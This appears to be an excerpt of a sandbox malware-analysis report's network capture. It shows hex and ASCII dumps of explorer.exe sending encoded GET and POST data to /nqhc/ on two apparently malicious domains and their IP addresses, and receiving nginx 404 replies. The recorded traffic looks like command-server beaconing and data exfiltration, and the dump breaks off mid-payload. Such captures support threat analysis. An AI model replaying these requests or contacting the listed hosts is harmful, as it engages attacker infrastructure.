Dec 5, 2022 15:16:15.380914927 CET	11491	OUT	Data Raw: 6e 32 46 75 51 4b 34 49 5a 2d 71 69 57 59 69 42 7e 35 4e 37 75 54 39 74 48 69 73 31 33 75 4f 5f 41 41 36 52 39 4e 28 67 67 76 74 5a 73 69 66 41 63 70 4e 45 51 59 4e 4c 4e 71 41 75 6d 4e 58 57 4c 37 54 57 6c 56 54 53 32 69 74 5f 4f 76 75 4a 7e 58 Data Ascii: n2FuQK4IZ-qiWYiB~5N7uT9tHis13uO_AA6R9N(ggvtZsifAcpNEQYNLNqAumNXWL7TWlVTS2it_OvuJ~XlXrzhz2i6x14x35ov_F2ucqmDOAjzpZlFrA31FHTIzp2DLVrrj1kAsvUkXpmD52MNUUJTDbNysOUqlMGlpnxUq~WcPrfT1oLq3uSopQ4t0SLU5K8rZROOVM4v3BDPL~buka060Jq~sl4ndEiJPtOWygqaht6GsNnR
Dec 5, 2022 15:16:15.381007910 CET	11502	OUT	Data Raw: 4f 54 39 48 6d 61 7a 59 43 59 64 69 4d 59 6a 58 38 47 34 49 55 2d 57 64 51 31 73 41 56 59 68 51 5a 67 62 53 45 75 53 54 5a 38 7a 57 74 78 49 4a 6d 36 57 52 59 52 6c 67 45 36 4d 56 59 44 47 63 47 4b 71 4f 67 4d 4c 6e 78 31 47 6f 4a 63 28 64 51 61 Data Ascii: OT9HmazYCYdiMYjX8G4IU-WdQ1sAVYhQZgbSEuSTZ8zWtxIJm6WRYRlgE6MVYDGcGKqOgMLnx1GoJc(dQa1zovVDCjVsoT(zaNagOlmGKhTzmAPpai9038x3ChKqxb~K3VxQokQdEhprF_hHvMJHd74XnaYoPfFKBYiNkkfGAGg1bpVUQaGBX0Gr8aOo5c~0ph7L83nB1okE1AXsrwWFR_MxTMpHms4KQ6yfnSqGrLbsgUVw5Uz

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.11.20	49864	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:17.369810104 CET	11503	OUT	GET /nqhc/?7nWHV=Jo9Ly5swECirkrz+Q2kB1mJjI2FdxMCd6ppqF2nJOFmXYuV8xeQe4DXLVR0s/AtaPMk93SVGZaQ/v2g/wIz4PNYN1ua2MlcQRg==&t0D=yFNHS0IX HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:16:17.397447109 CET	11504	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:16:17 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.11.20	49866	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:22.994231939 CET	11518	OUT	POST /nqhc/ HTTP/1.1 Host: www.005404.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.005404.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.005404.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 44 77 6a 55 50 33 65 31 78 6c 31 59 58 46 49 31 6d 47 77 6a 77 76 57 45 28 71 69 64 73 79 31 47 77 59 61 71 57 4a 6b 78 73 5a 77 6e 55 58 79 4b 71 4f 43 6e 46 72 4d 51 70 52 4d 57 57 7a 7a 6a 73 71 49 4b 55 5a 49 71 4d 6d 47 44 51 4e 78 79 6e 67 4b 50 28 51 57 6b 4a 62 63 4f 6e 7a 54 63 36 79 70 38 69 4e 46 35 36 59 35 4f 7e 78 7e 4d 45 54 6b 5a 4a 77 46 66 4e 2d 6b 48 4a 33 37 63 41 49 50 71 51 54 66 4a 70 39 53 71 7a 51 4f 4b 7a 34 30 5f 53 65 6c 32 41 42 6f 70 61 46 77 72 4b 42 50 33 4f 57 61 49 67 39 66 74 78 50 42 53 79 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=DwjUP3e1xl1YXFI1mGwjwvWE(qidsy1GwYaqWJkxsZwnUXyKqOCnFrMQpRMWWzzjsqIKUZIqMmGDQNxyngKP(QWkJbcOnzTc6yp8iNF56Y5O~x~METkZJwFfN-kHJ37cAIPqQTfJp9SqzQOKz40_Sel2ABopaFwrKBP3OWaIg9ftxPBSyQ).
Dec 5, 2022 15:16:23.246773958 CET	11519	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:16:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0
Dec 5, 2022 15:16:23.456300974 CET	11521	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:16:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.11.20	49868	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:25.263375044 CET	11522	OUT	POST /nqhc/ HTTP/1.1 Host: www.005404.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.005404.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.005404.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 44 77 6a 55 50 33 65 31 78 6c 31 59 56 6c 59 31 32 56 59 6a 79 50 57 48 36 71 69 64 6d 53 30 4e 77 59 57 71 57 4e 39 38 73 73 6f 6e 58 79 4f 4b 34 61 75 6e 45 72 4d 51 6e 78 4d 58 53 7a 79 68 73 71 31 71 55 63 6f 71 4d 6d 43 44 57 34 6c 79 77 67 4b 51 78 77 57 6e 66 72 63 4c 74 54 53 64 36 79 74 61 69 50 35 35 37 70 56 4f 28 7a 6d 4d 41 47 51 65 44 77 45 61 47 65 6b 41 48 58 37 53 41 49 79 66 51 58 54 7a 70 49 53 71 32 41 75 4b 68 49 30 38 59 75 6c 39 4e 68 70 4c 58 46 55 6e 4b 42 6e 4b 5a 6c 37 31 6b 2d 71 65 77 66 4d 4e 71 41 37 71 49 66 37 6c 39 39 4c 5f 68 50 68 30 4b 51 28 55 62 42 4f 6a 50 74 7a 76 5a 34 6d 42 55 48 49 54 68 36 38 72 50 68 59 4e 33 52 5a 78 54 6d 28 56 30 78 78 43 4f 35 41 56 4c 63 4b 79 70 33 4a 71 39 79 45 30 53 48 35 4e 43 4f 51 5f 61 69 34 38 56 4b 6d 4b 32 34 7e 6e 61 43 50 35 4b 57 55 52 74 35 66 43 4b 51 4d 2d 53 45 58 6a 35 72 33 4b 67 70 72 6c 55 66 28 45 66 36 45 5a 6e 70 6d 66 58 37 73 79 48 78 59 53 50 43 57 2d 51 58 46 73 36 38 72 47 79 62 68 43 72 6a 72 56 6a 4f 4b 63 49 4c 33 33 56 35 52 5a 74 50 39 72 4b 31 6e 50 50 32 69 49 79 61 72 6f 42 53 58 72 75 4d 4f 6a 66 42 73 56 4e 47 6a 43 6e 63 6e 61 31 72 45 6a 79 45 58 43 73 47 57 47 73 6d 74 36 38 58 63 56 30 63 4e 37 66 30 4c 75 50 52 62 66 38 58 35 65 51 45 69 6b 56 48 58 55 34 36 44 39 6d 4c 4a 4b 48 39 74 32 51 4e 6f 75 4c 46 41 6f 32 57 78 6f 66 46 47 6f 4f 5f 37 4b 45 32 41 73 30 66 67 58 34 33 6f 6f 4a 58 49 77 74 48 70 56 50 5f 59 32 46 6c 7a 71 59 49 45 76 6c 6b 36 73 47 31 30 46 43 76 5a 6c 79 41 63 49 4c 46 70 58 44 6c 74 47 32 37 45 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=DwjUP3e1xl1YVlY12VYjyPWH6qidmS0NwYWqWN98ssonXyOK4aunErMQnxMXSzyhsq1qUcoqMmCDW4lywgKQxwWnfrcLtTSd6ytaiP557pVO(zmMAGQeDwEaGekAHX7SAIyfQXTzpISq2AuKhI08Yul9NhpLXFUnKBnKZl71k-qewfMNqA7qIf7l99L_hPh0KQ(UbBOjPtzvZ4mBUHITh68rPhYN3RZxTm(V0xxCO5AVLcKyp3Jq9yE0SH5NCOQ_ai48VKmK24~naCP5KWURt5fCKQM-SEXj5r3KgprlUf(Ef6EZnpmfX7syHxYSPCW-QXFs68rGybhCrjrVjOKcIL33V5RZtP9rK1nPP2iIyaroBSXruMOjfBsVNGjCncna1rEjyEXCsGWGsmt68XcV0cN7f0LuPRbf8X5eQEikVHXU46D9mLJKH9t2QNouLFAo2WxofFGoO_7KE2As0fgX43ooJXIwtHpVP_Y2FlzqYIEvlk6sG10FCvZlyAcILFpXDltG27E.
Dec 5, 2022 15:16:25.515036106 CET	11523	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:16:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.11.20	49869	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:27.544348955 CET	11526	OUT	POST /nqhc/ HTTP/1.1 Host: www.005404.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.005404.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.005404.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 44 77 6a 55 50 33 65 31 78 6c 31 59 56 6c 59 31 32 56 59 6a 79 50 57 48 36 71 69 64 6d 53 30 4e 77 59 57 71 57 4e 39 38 73 73 67 6e 55 48 43 4b 71 72 75 6e 57 62 4d 51 76 52 4d 4b 53 7a 7a 35 73 71 64 31 55 63 31 64 4d 6c 32 44 57 70 31 79 7a 57 57 51 37 51 57 6d 51 4c 63 4a 6e 7a 54 65 36 79 70 30 69 50 74 50 36 59 68 4f 7e 30 43 4d 45 31 34 5a 63 77 46 66 47 65 6b 79 4e 33 37 73 41 49 32 50 51 57 76 7a 70 4c 71 71 31 57 71 4b 79 4f 38 38 52 65 6c 36 47 42 70 41 65 6c 56 66 4b 42 7a 34 5a 6c 36 4b 6b 5f 7e 65 77 64 45 4e 70 42 37 74 50 5f 37 6c 77 64 4c 2d 33 50 64 77 4b 51 6a 79 62 46 47 6a 50 74 4c 76 5a 59 6d 42 66 47 49 63 73 4b 38 74 4c 68 59 57 7a 52 56 35 54 6d 61 79 30 30 42 43 4f 70 45 56 4b 72 57 79 36 57 4a 71 6d 79 45 32 4e 58 35 65 58 2d 51 4b 61 68 41 65 56 4b 48 5f 32 34 61 6e 59 6d 62 35 4f 30 73 53 6b 35 66 41 54 51 4d 52 57 45 4c 52 35 72 48 57 67 70 71 2d 55 61 48 45 66 4b 55 5a 67 6f 6d 63 48 62 73 78 4b 52 59 39 64 43 61 43 51 58 78 30 36 38 6a 57 79 59 4e 43 72 44 72 56 6e 74 69 54 54 4c 33 30 5a 5a 52 78 69 76 38 72 4b 30 62 31 50 33 58 71 79 4c 33 6f 42 69 48 72 72 63 4f 6b 61 68 73 52 4c 32 6a 45 6a 63 6e 61 31 72 49 64 79 45 54 43 73 33 75 47 73 52 52 36 36 46 30 56 79 63 4e 48 66 30 4b 31 50 52 66 6b 38 58 77 39 51 45 54 42 56 45 6e 55 35 76 72 39 6f 71 4a 4a 58 39 74 7a 61 74 6f 31 50 46 45 5f 32 53 70 77 66 42 6d 43 4f 49 4c 4b 46 32 51 73 7e 5f 67 55 39 58 70 42 4f 58 49 71 70 48 6c 4a 50 37 34 48 46 68 36 79 59 4b 45 76 6e 78 36 36 44 6d 51 5f 65 50 64 6c 7e 67 51 6e 44 57 70 62 48 52 52 33 6c 4f 4e 6f 54 45 48 31 30 56 49 53 48 63 79 73 51 62 52 4b 66 30 62 44 78 71 69 49 6d 6c 42 6f 4f 76 36 65 72 58 47 33 50 4a 59 39 6f 54 33 45 62 79 6d 39 70 78 6f 5a 73 65 63 63 6b 75 59 34 68 78 47 53 44 65 74 5f 51 30 4e 6a 6a 62 6c 42 51 67 66 61 4b 33 55 6a 35 59 4f 47 65 50 62 48 4e 31 54 74 59 41 4f 38 6d 79 47 61 31 4d 58 4c 47 76 77 6a 68 55 33 42 36 59 7a 32 7e 47 71 4c 76 56 63 53 72 6c 78 6f 64 4a 6a 78 67 79 6e 43 6f 41 61 4a 68 71 43 55 64 62 30 6b 4b 66 7a 50 44 41 37 71 63 76 6d 31 52 65 6b 4e 